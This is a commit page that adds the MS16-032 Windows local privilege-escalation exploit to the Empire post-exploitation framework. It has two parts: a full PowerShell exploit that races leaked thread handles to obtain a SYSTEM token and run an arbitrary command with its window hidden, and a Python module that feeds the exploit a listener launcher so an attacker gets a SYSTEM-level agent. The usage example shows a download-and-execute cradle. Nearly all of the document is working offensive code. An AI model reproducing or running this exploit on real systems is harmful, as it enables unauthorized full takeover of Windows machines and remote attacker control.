Merge pull request #223 from leoloobeek/dev

MS16-032 local privesc for Empire
1.6
HarmJ0y 2016-05-27 10:31:37 -07:00
commit de1a563bdf
2 changed files with 469 additions and 0 deletions

View File

@ -0,0 +1,370 @@
function Invoke-MS16032 {
<#
.SYNOPSIS
PowerShell implementation of MS16-032. The exploit targets all vulnerable
operating systems that support PowerShell v2+. Credit for the discovery of
the bug and the logic to exploit it go to James Forshaw (@tiraniddo).
Targets:
* Win7-Win10 & 2k8-2k12 <== 32/64 bit!
* Tested on x32 Win7, x64 Win8, x64 2k12R2
Notes:
* In order for the race condition to succeed the machine must have 2+ CPU
cores. If testing in a VM just make sure to add a core if needed mkay.
* The exploit is pretty reliable, however ~1/6 times it will say it succeeded
but not spawn a shell. Not sure what the issue is but just re-run and profit!
* Want to know more about MS16-032 ==>
https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html
.DESCRIPTION
Author: Ruben Boonen (@FuzzySec)
Blog: http://www.fuzzysecurity.com/
License: BSD 3-Clause
Required Dependencies: PowerShell v2+
Optional Dependencies: None
E-DB Note: Source ~ https://twitter.com/FuzzySec/status/723254004042612736
EDIT: This script has been edited to include a parameter for custom commands and
also hides the spawned shell. Many comments have also been removed and echo has
moved to Write-Verbose. The original can be found at:
https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1
.EXAMPLE
C:\PS> Invoke-MS16-032 -Command "iex(New-Object Net.WebClient).DownloadString('http://google.com')"
Description
-----------
Will run the iex download cradle as SYSTEM
#>
[CmdletBinding()]
param(
[Parameter(Position=0,Mandatory=$True)]
[String]
$Command
)
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public int dwProcessId;
public int dwThreadId;
}
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
public struct STARTUPINFO
{
public Int32 cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public Int32 dwX;
public Int32 dwY;
public Int32 dwXSize;
public Int32 dwYSize;
public Int32 dwXCountChars;
public Int32 dwYCountChars;
public Int32 dwFillAttribute;
public Int32 dwFlags;
public Int16 wShowWindow;
public Int16 cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct SQOS
{
public int Length;
public int ImpersonationLevel;
public int ContextTrackingMode;
public bool EffectiveOnly;
}
public static class Advapi32
{
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
public static extern bool CreateProcessWithLogonW(
String userName,
String domain,
String password,
int logonFlags,
String applicationName,
String commandLine,
int creationFlags,
int environment,
String currentDirectory,
ref STARTUPINFO startupInfo,
out PROCESS_INFORMATION processInformation);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool SetThreadToken(
ref IntPtr Thread,
IntPtr Token);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenThreadToken(
IntPtr ThreadHandle,
int DesiredAccess,
bool OpenAsSelf,
out IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public static extern bool OpenProcessToken(
IntPtr ProcessHandle,
int DesiredAccess,
ref IntPtr TokenHandle);
[DllImport("advapi32.dll", SetLastError=true)]
public extern static bool DuplicateToken(
IntPtr ExistingTokenHandle,
int SECURITY_IMPERSONATION_LEVEL,
ref IntPtr DuplicateTokenHandle);
}
public static class Kernel32
{
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr GetCurrentThread();
[DllImport("kernel32.dll", SetLastError=true)]
public static extern int GetThreadId(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern int GetProcessIdOfThread(IntPtr handle);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int SuspendThread(IntPtr hThread);
[DllImport("kernel32.dll",SetLastError=true)]
public static extern int ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool TerminateProcess(
IntPtr hProcess,
uint uExitCode);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool DuplicateHandle(
IntPtr hSourceProcessHandle,
IntPtr hSourceHandle,
IntPtr hTargetProcessHandle,
ref IntPtr lpTargetHandle,
int dwDesiredAccess,
bool bInheritHandle,
int dwOptions);
}
public static class Ntdll
{
[DllImport("ntdll.dll", SetLastError=true)]
public static extern int NtImpersonateThread(
IntPtr ThreadHandle,
IntPtr ThreadToImpersonate,
ref SQOS SecurityQualityOfService);
}
"@
function Get-ThreadHandle {
$StartupInfo = New-Object STARTUPINFO
$StartupInfo.dwFlags = 0x00000100
$StartupInfo.hStdInput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdOutput = [Kernel32]::GetCurrentThread()
$StartupInfo.hStdError = [Kernel32]::GetCurrentThread()
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo)
$ProcessInfo = New-Object PROCESS_INFORMATION
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, "C:\Windows\System32\cmd.exe", "",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
$lpTargetHandle = [IntPtr]::Zero
$CallResult = [Kernel32]::DuplicateHandle(
$ProcessInfo.hProcess, 0x4,
[Kernel32]::GetCurrentProcess(),
[ref]$lpTargetHandle, 0, $false,
0x00000002)
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
$lpTargetHandle
}
function Get-SystemToken {
Write-Verbose "`n[?] Trying thread handle: $Thread"
Write-Verbose "[?] Thread belongs to: $($(Get-Process -PID $([Kernel32]::GetProcessIdOfThread($Thread))).ProcessName)"
$CallResult = [Kernel32]::SuspendThread($Thread)
if ($CallResult -ne 0) {
Write-Verbose "[!] $Thread is a bad thread, moving on.."
Return
} Write-Verbose "[+] Thread suspended"
Write-Verbose "[>] Wiping current impersonation token"
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, [IntPtr]::Zero)
if (!$CallResult) {
Write-Verbose "[!] SetThreadToken failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
Write-Verbose "[+] Thread resumed!"
Return
}
Write-Verbose "[>] Building SYSTEM impersonation token"
$SQOS = New-Object SQOS
$SQOS.ImpersonationLevel = 2
$SQOS.Length = [System.Runtime.InteropServices.Marshal]::SizeOf($SQOS)
$CallResult = [Ntdll]::NtImpersonateThread($Thread, $Thread, [ref]$sqos)
if ($CallResult -ne 0) {
Write-Verbose "[!] NtImpersonateThread failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
Write-Verbose "[+] Thread resumed!"
Return
}
$script:SysTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenThreadToken($Thread, 0x0006, $false, [ref]$SysTokenHandle)
if (!$CallResult) {
Write-Verbose "[!] OpenThreadToken failed, moving on.."
$CallResult = [Kernel32]::ResumeThread($Thread)
Write-Verbose "[+] Thread resumed!"
Return
}
Write-Verbose "[?] Success, open SYSTEM token handle: $SysTokenHandle"
Write-Verbose "[+] Resuming thread.."
$CallResult = [Kernel32]::ResumeThread($Thread)
}
$ms16032 = @"
__ __ ___ ___ ___ ___ ___ ___
| V | _|_ | | _|___| |_ |_ |
| |_ |_| |_| . |___| | |_ | _|
|_|_|_|___|_____|___| |___|___|___|
[by b33f -> @FuzzySec]
"@
$ms16032
Write-Verbose "`n[?] Operating system core count: $([System.Environment]::ProcessorCount)"
if ($([System.Environment]::ProcessorCount) -lt 2) {
"[!] This is a VM isn't it, race condition requires at least 2 CPU cores, exiting!`n"
Return
}
$ThreadArray = @()
$TidArray = @()
Write-Verbose "[>] Duplicating CreateProcessWithLogonW handles.."
for ($i=0; $i -lt 500; $i++) {
$hThread = Get-ThreadHandle
$hThreadID = [Kernel32]::GetThreadId($hThread)
if ($TidArray -notcontains $hThreadID) {
$TidArray += $hThreadID
if ($hThread -ne 0) {
$ThreadArray += $hThread
}
}
}
if ($($ThreadArray.length) -eq 0) {
"[!] No valid thread handles were captured, exiting!"
Return
} else {
Write-Verbose "[?] Done, got $($ThreadArray.length) thread handle(s)!"
Write-Verbose "`n[?] Thread handle list:"
}
Write-Verbose "`n[*] Sniffing out privileged impersonation token.."
foreach ($Thread in $ThreadArray){
Get-SystemToken
Write-Verbose "`n[*] Sniffing out SYSTEM shell.."
Write-Verbose "`n[>] Duplicating SYSTEM token"
$hDuplicateTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::DuplicateToken($SysTokenHandle, 2, [ref]$hDuplicateTokenHandle)
Write-Verbose "[>] Starting token race"
$Runspace = [runspacefactory]::CreateRunspace()
$StartTokenRace = [powershell]::Create()
$StartTokenRace.runspace = $Runspace
$Runspace.Open()
[void]$StartTokenRace.AddScript({
Param ($Thread, $hDuplicateTokenHandle)
while ($true) {
$CallResult = [Advapi32]::SetThreadToken([ref]$Thread, $hDuplicateTokenHandle)
}
}).AddArgument($Thread).AddArgument($hDuplicateTokenHandle)
$AscObj = $StartTokenRace.BeginInvoke()
Write-Verbose "[>] Starting process race"
$SafeGuard = [diagnostics.stopwatch]::StartNew()
while ($SafeGuard.ElapsedMilliseconds -lt 10000) {
$StartupInfo = New-Object STARTUPINFO
# 2 lines added to hide window
$StartupInfo.dwFlags = 0x00000001
$StartupInfo.wShowWindow = 0x00000000
$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size
$ProcessInfo = New-Object PROCESS_INFORMATION
$GetCurrentPath = (Get-Item -Path ".\" -Verbose).FullName
$CallResult = [Advapi32]::CreateProcessWithLogonW(
"user", "domain", "pass",
0x00000002, "$Env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe", " -command $Command",
0x00000004, $null, $GetCurrentPath,
[ref]$StartupInfo, [ref]$ProcessInfo)
$hTokenHandle = [IntPtr]::Zero
$CallResult = [Advapi32]::OpenProcessToken($ProcessInfo.hProcess, 0x28, [ref]$hTokenHandle)
if (!$CallResult) {
"`n[!] Holy handle leak Batman, we have a SYSTEM shell!!`n"
$CallResult = [Kernel32]::ResumeThread($ProcessInfo.hThread)
$StartTokenRace.Stop()
$SafeGuard.Stop()
Return
}
$CallResult = [Kernel32]::TerminateProcess($ProcessInfo.hProcess, 1)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hProcess)
$CallResult = [Kernel32]::CloseHandle($ProcessInfo.hThread)
}
$StartTokenRace.Stop()
$SafeGuard.Stop()
}
}

View File

@ -0,0 +1,99 @@
from lib.common import helpers
class Module:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'Invoke-MS16032',
'Author': ['@FuzzySec', '@leoloobeek'],
'Description': ('Spawns a new Listener as SYSTEM by'
' leveraging the MS16-032 local exploit.'
' Note: ~1/6 times the exploit won\'t work, may need to retry.'),
'Background' : True,
'OutputExtension' : None,
'NeedsAdmin' : False,
'OpsecSafe' : False,
'MinPSVersion' : '2',
'Comments': [
'Credit to James Forshaw (@tiraniddo) for exploit discovery and',
'to Ruben Boonen (@FuzzySec) for PowerShell PoC',
'https://googleprojectzero.blogspot.co.uk/2016/03/exploiting-leaked-thread-handle.html',
'https://github.com/FuzzySecurity/PowerShell-Suite/blob/master/Invoke-MS16-032.ps1'
]
}
self.options = {
'Agent' : {
'Description' : 'Agent to grab a screenshot from.',
'Required' : True,
'Value' : ''
},
'Listener' : {
'Description' : 'Listener to use.',
'Required' : True,
'Value' : ''
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'Proxy' : {
'Description' : 'Proxy to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
},
'ProxyCreds' : {
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
self.mainMenu = mainMenu
if params:
for param in params:
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-MS16032.ps1"
try:
f = open(moduleSource, 'r')
except:
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
return ""
moduleCode = f.read()
f.close()
script = moduleCode
# generate the launcher code without base64 encoding
l = self.mainMenu.stagers.stagers['launcher']
l.options['Listener']['Value'] = self.options['Listener']['Value']
l.options['UserAgent']['Value'] = self.options['UserAgent']['Value']
l.options['Proxy']['Value'] = self.options['Proxy']['Value']
l.options['ProxyCreds']['Value'] = self.options['ProxyCreds']['Value']
l.options['Base64']['Value'] = 'False'
launcherCode = l.generate()
# need to escape characters
launcherCode = launcherCode.replace("`", "``").replace("$", "`$").replace("\"","'")
script += 'Invoke-MS16032 -Command "' + launcherCode + '"'
script += ';`nInvoke-MS16032 completed.'
return script